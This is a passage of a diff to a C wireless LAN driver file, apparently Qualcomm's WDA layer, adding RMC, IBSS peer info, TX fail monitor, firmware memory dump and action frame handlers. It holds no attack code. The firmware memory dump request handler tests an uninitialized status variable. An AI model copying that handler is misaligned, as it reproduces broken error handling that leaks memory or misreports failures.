vos_fatal_event_logs_req(WLAN_LOG_TYPE_FATAL, + WLAN_LOG_INDICATOR_HOST_DRIVER, + WLAN_LOG_REASON_MGMT_FRAME_TIMEOUT, + FALSE, TRUE); if( pAckTxComp ) { @@ -13722,33 +14362,532 @@ static VOS_STATUS WDA_ProcessDHCPStartInd (tWDA_CbContext *pWDA, return CONVERT_WDI2VOS_STATUS(status) ; } -/* - * FUNCTION: WDA_ProcessSetSpoofMacAddrReq - * - * DESCRIPTION: This function sends Spoof Mac Addr Req to WDI - * - * PARAM: - * pWDA: pointer to WDA context - * pReq: pointer to stop batch scan request - */ -VOS_STATUS WDA_ProcessSetSpoofMacAddrReq(tWDA_CbContext *pWDA, - tpSpoofMacAddrReqParams pReq) +#ifdef WLAN_FEATURE_RMC + +void +WDA_RMCRulerRspCallback(WDI_RmcRspParamsType *wdiRmcResponse, void *pUserData) { - WDI_Status wdiStatus; - WDI_SpoofMacAddrInfoType *WDI_SpoofMacAddrInfoParams; - tWDA_ReqParams *pWdaParams; + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + tWDA_CbContext *pWDA = pWdaParams->pWdaContext; - WDI_SpoofMacAddrInfoParams = (WDI_SpoofMacAddrInfoType *)vos_mem_malloc( - sizeof(WDI_SpoofMacAddrInfoType)); - if(NULL == WDI_SpoofMacAddrInfoParams) { - VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, - "%s: VOS MEM Alloc Failure in Spoof Req", __func__); - VOS_ASSERT(0); - return VOS_STATUS_E_NOMEM; - } - pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; - if(NULL == pWdaParams) { - VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + switch (wdiRmcResponse->cmd) + { + case eWDI_BECOME_RULER_CMD : + { + tSirRmcBecomeRulerInd *pRmcBecomeRulerInd; + + pRmcBecomeRulerInd = (tSirRmcBecomeRulerInd *) + vos_mem_malloc(sizeof(*pRmcBecomeRulerInd)); + + if (NULL == pRmcBecomeRulerInd) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: unable to allocate pRmcBecomeRulerInd", __func__); + break; + } + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Received eWDI_BECOME_RULER_CMD from WDI"); + + pRmcBecomeRulerInd->status = wdiRmcResponse->status; + + vos_mem_copy(pRmcBecomeRulerInd->mcastTransmitter, + wdiRmcResponse->mcastTransmitter, + sizeof(tSirMacAddr)); + vos_mem_copy(pRmcBecomeRulerInd->mcastGroup, + wdiRmcResponse->mcastGroup, + sizeof(tSirMacAddr)); + + WDA_SendMsg(pWDA, WDA_RMC_BECOME_RULER, + (void *)pRmcBecomeRulerInd, 0) ; + break; + } + case eWDI_SUGGEST_RULER_CMD : + { + tSirRmcRulerSelectInd *pRmcRulerSelectInd; + + pRmcRulerSelectInd = (tSirRmcRulerSelectInd *) + vos_mem_malloc(sizeof(tSirRmcRulerSelectInd)); + + if (NULL == pRmcRulerSelectInd) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: unable to allocate pRmcRulerSelectInd", __func__); + break; + } + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Received eWDI_SUGGEST_RULER_CMD from WDI"); + + pRmcRulerSelectInd->status = wdiRmcResponse->status; + + vos_mem_copy(pRmcRulerSelectInd->mcastTransmitter, + wdiRmcResponse->mcastTransmitter, + sizeof(tSirMacAddr)); + vos_mem_copy(pRmcRulerSelectInd->mcastGroup, + wdiRmcResponse->mcastGroup, + sizeof(tSirMacAddr)); + vos_mem_copy(pRmcRulerSelectInd->ruler, + wdiRmcResponse->ruler, + sizeof(pRmcRulerSelectInd->ruler)); + + WDA_SendMsg(pWDA, WDA_RMC_RULER_SELECT_RESP, + (void *)pRmcRulerSelectInd, 0) ; + break; + } + } + + /* free the config structure */ + if (pWdaParams->wdaWdiApiMsgParam != NULL) + { + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + } + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + +} + +void WDA_RMCRulerReqCallback(WDI_Status wdiStatus, void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s, wdiStatus: %d", __func__, wdiStatus); + + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return; + } + + if (IS_WDI_STATUS_FAILURE(wdiStatus)) + { + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + } + + return; +} + +static VOS_STATUS +WDA_ProcessRMCRulerReq(tWDA_CbContext *pWDA, + tSirRmcRulerReq *rmcRulerReq) +{ + WDI_Status status; + WDI_RmcRulerReqParams *wdiRulerReq; + tWDA_ReqParams *pWdaParams; + + wdiRulerReq = (WDI_RmcRulerReqParams *) + vos_mem_malloc(sizeof(*wdiRulerReq)); + + if (NULL == wdiRulerReq) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(rmcRulerReq); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)); + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(rmcRulerReq); + vos_mem_free(wdiRulerReq); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams->wdaWdiApiMsgParam = (v_PVOID_t *)wdiRulerReq; + /* Store param pointer as passed in by caller */ + pWdaParams->wdaMsgParam = rmcRulerReq; + pWdaParams->pWdaContext = pWDA; + + wdiRulerReq->cmd = rmcRulerReq->cmd; + + vos_mem_copy(wdiRulerReq->mcastTransmitter, + rmcRulerReq->mcastTransmitter, sizeof(tSirMacAddr)); + vos_mem_copy(wdiRulerReq->mcastGroup, + rmcRulerReq->mcastGroup, sizeof(tSirMacAddr)); + vos_mem_copy(wdiRulerReq->blacklist, + rmcRulerReq->blacklist, sizeof(wdiRulerReq->blacklist)); + + wdiRulerReq->wdiReqStatusCB = WDA_RMCRulerReqCallback; + + status = WDI_RmcRulerReq(wdiRulerReq, + (WDI_RmcRulerRspCb)WDA_RMCRulerRspCallback, + (void *)pWdaParams); + if (IS_WDI_STATUS_FAILURE(status)) + { + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams) ; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Ruler Request failed"); + } + return CONVERT_WDI2VOS_STATUS(status) ; +} + +/* + * FUNCTION: WDA_ProcessRMCUpdateInd + * Forward Update Indication to WDI +*/ +static VOS_STATUS +WDA_ProcessRMCUpdateInd(tWDA_CbContext *pWDA, + tSirRmcUpdateInd *rmcUpdateInd) +{ + WDI_Status status; + WDI_RmcUpdateIndParams wdiUpdateInd; + + /* Copy the paramters for Update_Ind */ + + wdiUpdateInd.indication = rmcUpdateInd->indication; + wdiUpdateInd.role = rmcUpdateInd->role; + + vos_mem_copy(wdiUpdateInd.mcastTransmitter, + rmcUpdateInd->mcastTransmitter, sizeof(tSirMacAddr)); + + vos_mem_copy(wdiUpdateInd.mcastGroup, + rmcUpdateInd->mcastGroup, sizeof(tSirMacAddr)); + + vos_mem_copy(wdiUpdateInd.mcastRuler, + rmcUpdateInd->mcastRuler, sizeof(tSirMacAddr)); + + wdiUpdateInd.wdiReqStatusCB = WDA_WdiIndicationCallback; + wdiUpdateInd.pUserData = pWDA; + status = WDI_RmcUpdateInd(&wdiUpdateInd); + + if (WDI_STATUS_PENDING == status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "Pending received for %s:%d ",__func__,__LINE__ ); + } + else if (WDI_STATUS_SUCCESS_SYNC != status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in %s:%d ",__func__,__LINE__ ); + } + + vos_mem_free(rmcUpdateInd); + + return CONVERT_WDI2VOS_STATUS(status) ; +} + +void WDA_GetIbssPeerInfoRspCallback(WDI_IbssPeerInfoRspParams *peerInfoRspParams + ,void* pUserData) +{ + + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + WDI_IbssPeerInfoParams *pIbssPeerInfoParams; + tWDA_CbContext *pWDA; + tpSirIbssGetPeerInfoRspParams pIbssGetPeerInfoRsp; + vos_msg_t vosMsg; + v_U32_t wdaCnt = 0; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return; + } + + if (NULL == peerInfoRspParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: peerInfoRspParams received NULL", __func__); + if(pWdaParams->wdaMsgParam) + vos_mem_free(pWdaParams->wdaMsgParam); + if(pWdaParams->wdaWdiApiMsgParam) + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams); + + VOS_ASSERT(0); + return; + } + + pIbssPeerInfoParams = + (WDI_IbssPeerInfoParams *)peerInfoRspParams->wdiPeerInfoParams; + + pIbssGetPeerInfoRsp = + vos_mem_malloc(sizeof(tSirIbssGetPeerInfoRspParams)); + + if(NULL == pIbssGetPeerInfoRsp) + { + if(pWdaParams->wdaMsgParam) + vos_mem_free(pWdaParams->wdaMsgParam); + if(pWdaParams->wdaWdiApiMsgParam) + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams); + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: Memory allocation failed for pIbssGetPeerInfoRsp", + __func__); + VOS_ASSERT(0); + return; + + } + + pWDA = (tWDA_CbContext *)pWdaParams->pWdaContext ; + + + if (peerInfoRspParams->wdiNumPeers > 32) + { + pr_info("%s] Number of peers is more than 32, returning\n", __func__); + /* free the mem and return */ + vos_mem_free((v_VOID_t *) pIbssGetPeerInfoRsp); + if(pWdaParams->wdaMsgParam) + vos_mem_free(pWdaParams->wdaMsgParam); + if(pWdaParams->wdaWdiApiMsgParam) + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams); + + return; + } + + /* Message Header */ + pIbssGetPeerInfoRsp->mesgType = eWNI_SME_IBSS_PEER_INFO_RSP; + pIbssGetPeerInfoRsp->mesgLen = sizeof(tSirIbssGetPeerInfoRspParams); + pIbssGetPeerInfoRsp->ibssPeerInfoRspParams.status = peerInfoRspParams->wdiStatus; + pIbssGetPeerInfoRsp->ibssPeerInfoRspParams.numPeers = peerInfoRspParams->wdiNumPeers; + + for (wdaCnt = 0; wdaCnt < peerInfoRspParams->wdiNumPeers; wdaCnt++) + { + WDI_IbssPeerInfoParams *pWdiTmp = &pIbssPeerInfoParams[wdaCnt]; + tSirIbssPeerInfoParams *pSmeTmp = + &pIbssGetPeerInfoRsp->ibssPeerInfoRspParams.peerInfoParams[wdaCnt]; + + pSmeTmp->staIdx = pWdiTmp->wdiStaIdx; + pSmeTmp->mcsIndex = pWdiTmp->wdiMcsIndex; + pSmeTmp->rssi = pWdiTmp->wdiRssi; + pSmeTmp->txRate = pWdiTmp->wdiTxRate; + pSmeTmp->txRateFlags = pWdiTmp->wdiTxRateFlags; + } + + /* VOS message wrapper */ + vosMsg.type = eWNI_SME_IBSS_PEER_INFO_RSP; + vosMsg.bodyptr = (void *)pIbssGetPeerInfoRsp; + vosMsg.bodyval = 0; + + if (VOS_STATUS_SUCCESS != vos_mq_post_message(VOS_MQ_ID_SME, (vos_msg_t*)&vosMsg)) + { + /* free the mem and return */ + vos_mem_free((v_VOID_t *) pIbssGetPeerInfoRsp); + } + + if(NULL != pWdaParams) + { + if(pWdaParams->wdaMsgParam) + vos_mem_free(pWdaParams->wdaMsgParam); + if(pWdaParams->wdaWdiApiMsgParam) + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams); + } + + return; +} + +static VOS_STATUS +WDA_ProcessIbssPeerInfoReq(tWDA_CbContext *pWDA, + tSirIbssGetPeerInfoReqParams *ibssPeerInfoReqParams) +{ + WDI_Status status; + WDI_IbssPeerInfoReqType *wdiPeerInfoReq; + tWDA_ReqParams *pWdaParams; + + wdiPeerInfoReq = (WDI_IbssPeerInfoReqType *) + vos_mem_malloc(sizeof(WDI_IbssPeerInfoReqType)); + if (NULL == wdiPeerInfoReq) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(ibssPeerInfoReqParams); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)); + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(wdiPeerInfoReq); + vos_mem_free(ibssPeerInfoReqParams); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams->wdaWdiApiMsgParam = (v_PVOID_t *)wdiPeerInfoReq; + /* Store param pointer as passed in by caller */ + pWdaParams->wdaMsgParam = ibssPeerInfoReqParams; + pWdaParams->pWdaContext = pWDA; + + wdiPeerInfoReq->wdiAllPeerInfoReqd = + ibssPeerInfoReqParams->allPeerInfoReqd; + wdiPeerInfoReq->wdiStaIdx = + ibssPeerInfoReqParams->staIdx; + + status = WDI_IbssPeerInfoReq(wdiPeerInfoReq, + (WDI_IbssPeerInfoReqCb)WDA_GetIbssPeerInfoRspCallback, + (void *)pWdaParams); + if (IS_WDI_STATUS_FAILURE(status)) + { + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams) ; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "IBSS Peer Info Request failed"); + } + return CONVERT_WDI2VOS_STATUS(status) ; + +} + +/* + * FUNCTION: WDA_ProcessTXFailMonitorInd + * Forward TX Fail Monitor to WDI + */ +static VOS_STATUS WDA_ProcessTXFailMonitorInd( + tWDA_CbContext *pWDA, + tAniTXFailMonitorInd *txFailMonitorInd) +{ + WDI_Status status; + WDI_TXFailMonitorInd *wdiTXFailMonitorInd = + (WDI_TXFailMonitorInd *)vos_mem_malloc(sizeof(WDI_TXFailMonitorInd)); + + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + if (NULL == wdiTXFailMonitorInd) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(txFailMonitorInd); + return VOS_STATUS_E_NOMEM; + } + + wdiTXFailMonitorInd->tx_fail_count = txFailMonitorInd->tx_fail_count; + + wdiTXFailMonitorInd->wdiReqStatusCB = WDA_WdiIndicationCallback; + wdiTXFailMonitorInd->pUserData = pWDA; + + status = WDI_TXFailMonitorStartStopInd(wdiTXFailMonitorInd); + + if (WDI_STATUS_PENDING == status) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "TX Fail Monitor Indication Pending"); + } + else if (WDI_STATUS_SUCCESS_SYNC == status) + { + if (0 == txFailMonitorInd->tx_fail_count) + pWDA->txFailIndCallback = NULL; + else + pWDA->txFailIndCallback = txFailMonitorInd->txFailIndCallback; + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "TX Fail Monitor Indication Failed"); + } + + vos_mem_free(wdiTXFailMonitorInd); + vos_mem_free(txFailMonitorInd); + + return CONVERT_WDI2VOS_STATUS(status) ; +} +#endif /* WLAN_FEATURE_RMC */ + +#ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD +VOS_STATUS WDA_ProcessPERRoamScanTriggerReq(tWDA_CbContext *pWDA, + tPERRoamScanStart *pPERRoamTriggerScanReqParams) +{ + WDI_Status status; + tWDA_ReqParams *pWdaParams ; + WDI_PERRoamTriggerScanInfo *pwdiPERRoamTriggerScanInfo = + (WDI_PERRoamTriggerScanInfo *)vos_mem_malloc( + sizeof(WDI_PERRoamTriggerScanInfo)); + + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + + if (NULL == pwdiPERRoamTriggerScanInfo) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if (NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pwdiPERRoamTriggerScanInfo); + return VOS_STATUS_E_NOMEM; + } + + pwdiPERRoamTriggerScanInfo->roamScanReq = + pPERRoamTriggerScanReqParams->start; + + /* Store Params pass it to WDI */ + pWdaParams->wdaWdiApiMsgParam = (void *)pwdiPERRoamTriggerScanInfo; + pWdaParams->pWdaContext = pWDA; + + /* Store param pointer as passed in by caller */ + pWdaParams->wdaMsgParam = pPERRoamTriggerScanReqParams; + status = WDI_PERRoamScanTriggerReq(pwdiPERRoamTriggerScanInfo, + (WDI_PERRoamTriggerScanCb)WDA_PERRoamTriggerScanReqCallback, + pWdaParams); + + if(IS_WDI_STATUS_FAILURE(status)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "Failure in Start Roam Candidate trigger Req WDI API" ); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + vos_mem_free(pWdaParams->wdaMsgParam); + pWdaParams->wdaWdiApiMsgParam = NULL; + pWdaParams->wdaMsgParam = NULL; + } + return CONVERT_WDI2VOS_STATUS(status) ; +} +#endif + +/* + * FUNCTION: WDA_ProcessSetSpoofMacAddrReq + * + * DESCRIPTION: This function sends Spoof Mac Addr Req to WDI + * + * PARAM: + * pWDA: pointer to WDA context + * pReq: pointer to stop batch scan request + */ +VOS_STATUS WDA_ProcessSetSpoofMacAddrReq(tWDA_CbContext *pWDA, + tpSpoofMacAddrReqParams pReq) +{ + WDI_Status wdiStatus; + WDI_SpoofMacAddrInfoType *WDI_SpoofMacAddrInfoParams; + tWDA_ReqParams *pWdaParams; + + WDI_SpoofMacAddrInfoParams = (WDI_SpoofMacAddrInfoType *)vos_mem_malloc( + sizeof(WDI_SpoofMacAddrInfoType)); + if(NULL == WDI_SpoofMacAddrInfoParams) { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure in Spoof Req", __func__); + VOS_ASSERT(0); + return VOS_STATUS_E_NOMEM; + } + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if(NULL == pWdaParams) { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, "%s: VOS MEM Alloc Failure", __func__); vos_mem_free(WDI_SpoofMacAddrInfoParams); VOS_ASSERT(0); @@ -13784,6 +14923,210 @@ VOS_STATUS WDA_ProcessSetSpoofMacAddrReq(tWDA_CbContext *pWDA, return CONVERT_WDI2VOS_STATUS(wdiStatus) ; } + +/* + * FUNCTION: WDA_FwrMemDumpRespCallback + * recieves Mgmt Logging init response from FW + */ + void WDA_FwrMemDumpRespCallback(WDI_FwrMemDumpRsp* wdiRsp, + void* pUserData) +{ + tWDA_ReqParams *pWdaParams = (tWDA_ReqParams *)pUserData; + tAniFwrDumpReq *pFwrMemDumpReq; + tAniFwrDumpRsp *pFwrMemDumpRsp; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "<------ %s " ,__func__); + + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams received NULL", __func__); + VOS_ASSERT(0); + return ; + } + + if(NULL == pWdaParams->wdaMsgParam) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams->wdaMsgParam is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return ; + } + + pFwrMemDumpRsp = (tAniFwrDumpRsp *)vos_mem_malloc(sizeof(tAniFwrDumpRsp)); + if(pFwrMemDumpRsp == NULL) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pFwrMemDumpRsp is NULL", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdaParams); + return ; + } + + pFwrMemDumpRsp->dump_status = wdiRsp->dump_status; + pFwrMemDumpReq = (tAniFwrDumpReq *)pWdaParams->wdaMsgParam; + + if(pFwrMemDumpReq->fwMemDumpReqCallback) + { + pFwrMemDumpReq->fwMemDumpReqCallback( + pFwrMemDumpReq->fwMemDumpReqContext, + pFwrMemDumpRsp); + } + else + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: FwrMemDump callback is NULL", __func__); + } + + vos_mem_free(pWdaParams->wdaWdiApiMsgParam); + vos_mem_free(pWdaParams->wdaMsgParam); + vos_mem_free(pWdaParams); + vos_mem_free(pFwrMemDumpRsp); + + return ; +} + +VOS_STATUS WDA_ProcessFwrMemDumpReq(tWDA_CbContext * pWDA, + tAniFwrDumpReq* pFwrMemDumpReq) +{ + VOS_STATUS status = VOS_STATUS_SUCCESS; + WDI_Status wstatus; + WDI_FwrMemDumpReqType * pWdiFwrMemDumpReq; + tWDA_ReqParams *pWdaParams ; + + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + "------> %s " ,__func__); + /* Sanity Check*/ + if(NULL == pFwrMemDumpReq) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pFwrMemDumpReq received NULL", __func__); + VOS_ASSERT(0) ; + return VOS_STATUS_E_FAULT; + } + + pWdiFwrMemDumpReq = (WDI_FwrMemDumpReqType *)vos_mem_malloc(sizeof(WDI_FwrMemDumpReqType)); + if(NULL == pWdiFwrMemDumpReq) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdiFwrMemDumpReq Alloc Failure", __func__); + VOS_ASSERT(0); + return VOS_STATUS_E_NOMEM; + } + + pWdaParams = (tWDA_ReqParams *)vos_mem_malloc(sizeof(tWDA_ReqParams)) ; + if(NULL == pWdaParams) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: pWdaParams Alloc Failure", __func__); + VOS_ASSERT(0); + vos_mem_free(pWdiFwrMemDumpReq); + return VOS_STATUS_E_NOMEM; + } + + /* Store Params pass it to WDI */ + pWdaParams->wdaWdiApiMsgParam = (void *)pWdiFwrMemDumpReq; + pWdaParams->pWdaContext = pWDA; + /* Store param pointer as passed in by caller */ + pWdaParams->wdaMsgParam = pFwrMemDumpReq; + + status = WDI_FwrMemDumpReq(pWdiFwrMemDumpReq, + (WDI_FwrMemDumpCb)WDA_FwrMemDumpRespCallback, + pWdaParams); + + if(IS_WDI_STATUS_FAILURE(wstatus)) + { + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Fwr Mem Dump Req failed, free all the memory")); + status = CONVERT_WDI2VOS_STATUS(wstatus); + vos_mem_free(pWdaParams->wdaWdiApiMsgParam) ; + pWdaParams->wdaWdiApiMsgParam = NULL; + vos_mem_free(pWdaParams->wdaMsgParam); + pWdaParams->wdaMsgParam = NULL; + vos_mem_free(pWdaParams); + } + + return status; + +} + +/** + * wda_process_set_allowed_action_frames_ind() - Set allowed action frames to FW + * + * @pWDA: WDA Call back context + * @allowed_action_frames: Pointer to struct sir_allowed_action_frames + * that holds allowed action frames bitmask + * + * This function sets the allowed action frames that the FW needs to + * handover to host.The Action frames other than the requested ones + * can be dropped in FW + * + * Return: VOS_STATUS enumeration + */ +VOS_STATUS wda_process_set_allowed_action_frames_ind(tWDA_CbContext *pWDA, + struct sir_allowed_action_frames *allowed_action_frames) +{ + WDI_Status status; + struct WDI_AllowedActionFramesInd *wdi_allowed_action_frames; + VOS_TRACE( VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("---> %s"), __func__); + + wdi_allowed_action_frames = (struct WDI_AllowedActionFramesInd*) + vos_mem_malloc(sizeof + (*wdi_allowed_action_frames)); + if (!wdi_allowed_action_frames) { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + "%s: VOS MEM Alloc Failure", __func__); + vos_mem_free(allowed_action_frames); + return VOS_STATUS_E_NOMEM; + } + + wdi_allowed_action_frames->bitmask = allowed_action_frames->bitmask; + wdi_allowed_action_frames->reserved = allowed_action_frames->reserved; + + status = WDI_SetAllowedActionFramesInd(wdi_allowed_action_frames); + if (WDI_STATUS_PENDING == status) { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, + FL("pending status received")); + } else if (WDI_STATUS_SUCCESS_SYNC != status && + (WDI_STATUS_SUCCESS != status)) { + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_ERROR, + FL("Failure in allowed_action_frames API %d"), status); + } + + vos_mem_free(wdi_allowed_action_frames); + vos_mem_free(allowed_action_frames); + return CONVERT_WDI2VOS_STATUS(status) ; +} + +/* + * FUNCTION: WDA_ProcessBcnMissPenaltyCount + * Request to WDI. + */ +VOS_STATUS WDA_ProcessTLPauseInd(tWDA_CbContext *pWDA, v_U32_t params) +{ + v_U8_t staId; + WLANTL_CbType* pTLCb = NULL; + + VOS_TRACE(VOS_MODULE_ID_WDA, VOS_TRACE_LEVEL_INFO, FL("---> %s"), __func__); + + staId = (v_U8_t)params; + + pTLCb = VOS_GET_TL_CB(pWDA->pVosContext); + if ( NULL == pTLCb ) + { + VOS_TRACE( VOS_MODULE_ID_TL, VOS_TRACE_LEVEL_ERROR, + "WLAN TL:Invalid TL pointer from pvosGCtx on WLANTL_SuspendDataTx"); + return VOS_STATUS_E_FAULT; + } + + + pTLCb->atlSTAClients[staId]->disassoc_progress = VOS_TRUE; + /* Pause TL for Sta ID */ + return WLANTL_SuspendDataTx(pWDA->pVosContext, &staId, NULL); +} + /* * FUNCTION: WDA_McProcessMsg * Trigger DAL-AL to start CFG download @@ -14177,9 +15520,19 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) (tAniGetFrameLogReq *)pMsg->bodyptr); break; } + case WDA_START_RSSI_MONITOR_REQ: + { + WDA_ProcessStartRssiMonitorReq(pWDA,(tSirRssiMonitorReq *)pMsg->bodyptr); + break; + } + case WDA_STOP_RSSI_MONITOR_REQ: + { + WDA_ProcessStopRssiMonitorReq(pWDA,(tSirRssiMonitorReq *)pMsg->bodyptr); + break; + } case WDA_SEND_LOG_DONE_IND: { - WDA_FWLoggingDXEdoneInd(); + WDA_FWLoggingDXEdoneInd(pMsg->bodyval); break; } case WDA_FATAL_EVENT_LOGS_REQ: @@ -14301,20 +15654,26 @@ VOS_STATUS WDA_McProcessMsg( v_CONTEXT_t pVosContext, vos_msg_t *pMsg ) } case WDA_EXTSCAN_RESET_BSSID_HOTLIST_REQ: { - WDA_ProcessEXTScanResetBSSIDHotlistReq(pWDA, - (tSirEXTScanResetBssidHotlistReqParams *)pMsg->bodyptr); + WDA_ProcessEXTScanResetBSSIDHotlistReq(pWDA, + (tSirEXTScanResetBssidHotlistReqParams *)pMsg->bodyptr); + break; + } + case WDA_EXTSCAN_SET_SSID_HOTLIST_REQ: + { + WDA_ProcessEXTScanSetSSIDHotlistReq(pWDA, + (tSirEXTScanSetSsidHotListReqParams *)pMsg->bodyptr); break; } - case WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ: + case WDA_EXTSCAN_RESET_SSID_HOTLIST_REQ: { - WDA_ProcessEXTScanSetSignfRSSIChangeReq(pWDA, - (tSirEXTScanSetSignificantChangeReqParams *)pMsg->bodyptr); + WDA_ProcessEXTScanResetSSIDHotlistReq(pWDA, + (tSirEXTScanResetSsidHotlistReqParams *)pMsg->bodyptr); break; } - case WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ: + case WDA_HIGH_PRIORITY_DATA_INFO_IND: { - 